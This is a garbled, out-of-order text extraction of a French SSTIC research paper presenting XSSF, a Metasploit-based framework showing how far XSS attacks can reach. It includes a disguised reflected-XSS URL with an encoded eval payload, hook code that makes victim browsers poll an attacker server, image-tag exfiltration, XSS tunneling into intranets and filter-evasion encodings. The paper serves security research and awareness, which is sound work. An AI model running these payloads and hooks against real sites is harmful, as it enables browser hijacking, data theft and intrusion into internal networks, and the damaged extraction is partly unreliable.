Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 4: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 305

Cependant il nrsquoest pas impossible de combiner le XSS avec drsquoautres attaquesciblant le navigateur lui-meme ou lrsquoun de ses greffons Decouverte recemment (22decembre 2010) une faille (de type 0 day 3) dans lrsquoimport de feuilles de styles (CSS)sur Internet Explorer (comme il en existe beaucoup sur drsquoautres navigateurs et leursgreffons) permet de prendre un controle total cette fois-ci non plus sur le navigateurmais sur le systeme de la victime Internet Explorer etant souvent utilise (parti-culierement en entreprise) lrsquoattaque couplee a une faille de type XSS sur des sites aforte audience peut avoir des effets devastateurs sur un nombre important de victimesLe XSS devient alors une porte drsquoentree vers de nombreuses autres attaques secon-daires tres puissantes et touchant un nombre de personnes relativement important(on peut imaginer les degats drsquoune vulnerabilite XSS sur Facebook couplee a unefaille 0 day sur lrsquoun des navigateurs )

Afin drsquoexploiter une vulnerabilite XSS avec des attaques complexes il est possiblede faire appel a des ressources externes (placees sur un serveur malicieux par exemple)plutot que drsquoinserer directement tout le code dans le champ affecte Crsquoest cettetechnique qui est utilisee dans la plupart des cas pour realiser des attaques etrecuperer des donnees sur un serveur tiers

23 Same-Origin Policy (SOP)

Face aux attaques complexes possibles on peut se demander pourquoi un scriptcharge depuis un domaine malicieux est autorise a interagir avec des elements situessur un domaine legitime vulnerable En fait dans la theorie ceci est impossible gracea la SOP ou Same-Origin Policy Quand on srsquointeresse aux vulnerabilites de typeXSS la SOP est lrsquoelement cense limiter la portee drsquoune attaque

Si lrsquoon en revient a une comparaison avec les failles applicatives la SOP est aux at-taques web ce que la DEP (Data Execution Prevention 4) ou encore a lrsquoASLR (AddressSpace Layout Randomization 5) sont aux attaques systemes Elle est implementeedans tous les navigateurs recents (depuis Netscape 20) et a pour but drsquoempecherlrsquoacces (lecture ecriture) a des ressources dont le serveur est different de celui dontprovient la page en cours Concernant les XSS cela signifie qursquoune vulnerabilite sur undomaine A ne permettra pas a partir du navigateur cible drsquoenvoyer ou de recupererdes informations depuis un domaine B (malicieux ou non) Le navigateur se charge decontroler les echanges avec des serveurs tiers lors de la navigation sur une application

3 Lorsqursquoun exploit est disponible avant la sortie du patch permettant de proteger lrsquoapplication4 httpenwikipediaorgwikiData_Execution_Prevention

5 httpfrwikipediaorgwikiAddress_space_layout_randomization

306 XSSF demontrer le danger des XSS

Dans la pratique un script malicieux ne pourra pas effectuer de requetes (GETPOST etc) vers un domaine different de celui qui est vulnerable (avec lrsquoobjetXMLHttpRequest 6 par exemple)

Lrsquoorigine est definie en fonction de trois parametres et deux ressources sont dites dememe origine si ces trois valeurs sont exactement les memes

ndash Le nom du domainendash Le protocole utilisendash Le port TCP utilise

On imagine alors lrsquoimportance de cette politique de securite dont le role estdrsquoempecher par exemple qursquoune vulnerabilite sur httpwwwfacebookcom per-mette a un attaquant drsquoaller recuperer des donnees sur httpwwwgmailcom (avecune session probablement laissee active)

En plus drsquoempecher la recuperation des donnees depuis drsquoautres domaines crsquoestgrace a cette politique que lrsquoattaquant va etre bloque srsquoil veut acceder au perimetrelocal de la victime (serveurs internes reseau Intranet etc) depuis une vulnerabilitesur un domaine public

URL demandee Resultat Raison

httpwwwvulnerablecompagehtml OK Meme domaine meme port(80) meme protocole (http)

httpwwwvulnerablecomotherhtml OK Meme domaine meme portmeme protocole

httpwwwvulnerablecom81otherhtml ERREUR Port different

httpswwwvulnerablecomotherhtml ERREUR Protocole different

httpwwwgmailcomindexhtml ERREUR Domaine different

httpXXXYpagehtml ERREUR Domaine different

Table 1 Possibilites de chargement de ressources pour un script malicieux se trouvantsur http wwwvulnerablecomsearchphp (XXXX)

Cependant et heureusement pour la suite du projet XSSF il existe quelquespasse-droits a cette regle de securite tels que les IFRAMES ou le chargement deressources distantes Pour les objets de type JavaScript par exemple (ltscriptgt) il

6 httpfrwikipediaorgwikiXMLHttpRequest

L Courgnaud 307

est tout a fait possible de charger une ressource drsquoun domaine malicieux B depuis undomaine vulnerable A

Figure 1 Acces direct a une ressource JavaScript

De la meme maniere il est possible de charger des ressources avec les objets detype image CSS etc En revanche bien que lrsquoon puisse charger une page ou executerdu code avec un objet de script distant il sera impossible drsquoacceder (en JavaScript)au contenu retourne Crsquoest le meme principe pour les IFRAMES toujours a causede la SOP Les IFRAMES quant a elles seront tres utiles par exemple pour realiserun POST de maniere invisible vers un serveur distant controle par lrsquoattaquant ounon controle (sur une application tierce vulnerable aux attaques de type CSRF 7 parexemple)

Nous verrons dans le chapitre de presentation de XSSF les differentes faconsutilisees pour contourner le probleme de la Same-Origin Policy politique qui acependant beaucoup de soucis a se faire avec la venue drsquoun nouvel element

24 Arrivee du HTML5 tous aux abris

Bien que les specifications pour ce nouveau standard ne soient pas encore completementdefinies la majorite des navigateurs actuels ont drsquoores et deja commence a suppor-ter cette nouvelle revision du HTML La cloture de lrsquoajout de fonctionnalite pour

7 Cross-Site Request Forgery httpfrwikipediaorgwikiCross-site_request_forgery

308 XSSF demontrer le danger des XSS

ce nouveau standard est prevue pour le 22 mai 2011 et les specifications serontcompletement terminees en 2014

Le HTML5 ne vient pas faciliter le travail de protection contre les failles XSSmais pire encore il elargit la portee des attaques et oblige les developpeurs a reparerdu code deja considere comme sur

Le premier point est lrsquoarrivee de nouvelles balises HTML (ltaudiogt ltvideogt etc)et evenements JavaScript (oncanload etc) qui vont venir ajouter de la complexite acertains filtres deja en place sur de nombreuses applications On peut citer lrsquoexempledes e-mails qui acceptent souvent du code HTML dans leur contenu (images pucesetc) en utilisant des filtres afin drsquoeviter les XSS Lrsquoarrivee de ces nouveaux elementsoblige a remettre a jour ces filtres XSS rendus inefficaces avec lrsquoarrivee du HTML5La page HTML5 Security Cheatsheet 8 montre les differents ajouts pouvant poserde nouveaux problemes et les facons de rendre lrsquoapplication sure a nouveau

Le second point probablement le plus important est lrsquointroduction du partagede ressources entre domaines (Cross-Origin Resource Sharing) En drsquoautres termesle navigateur peut etre autorise a effectuer des requetes AJAX entre des domainesdifferents contournant ainsi la SOP Ceci est rendu possible grace a lrsquoajout de nou-velles entetes HTTP par le serveur autorisant ou non chaque domaine distant aexecuter la requete Ainsi un domaine A pourra charger ou modifier une ressource(GET POST etc) sur un domaine B si celui-ci lrsquoautorise

Cette technique a servi a demontrer une nouvelle XSS sur lrsquointerface web IPhone deFacebook dont le parametre profilephp dans lrsquoURL httptouchfacebook

comprofilephp permettait de charger une page dynamiquement (AJAX - XMLHtt-pRequest) a lrsquointerieur drsquoune balise div Auparavant les developpeurs nrsquoavaientpas reellement a se soucier de la page chargee puisque le navigateur aurait par exempleinterdit le chargement de httpremote-servermaliciousphp (SOP do-maine different)

Grace au HTML5 le chargement est desormais possible si le domaine remo-

te-server lrsquoautorise Il lui suffit drsquoutiliser les nouvelles entetes HTTP afin de rendrepossible la discussion entre les deux domaines

ltphp

Domaines autorises

header(rsquoAccess -Control -Allow -Origin http touchfacebookcomrsquo)

Methodes autorises

header(rsquoAccess -Control -Allow -Methods GET POST OPTIONS rsquo)

8 httpheiderichjso

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

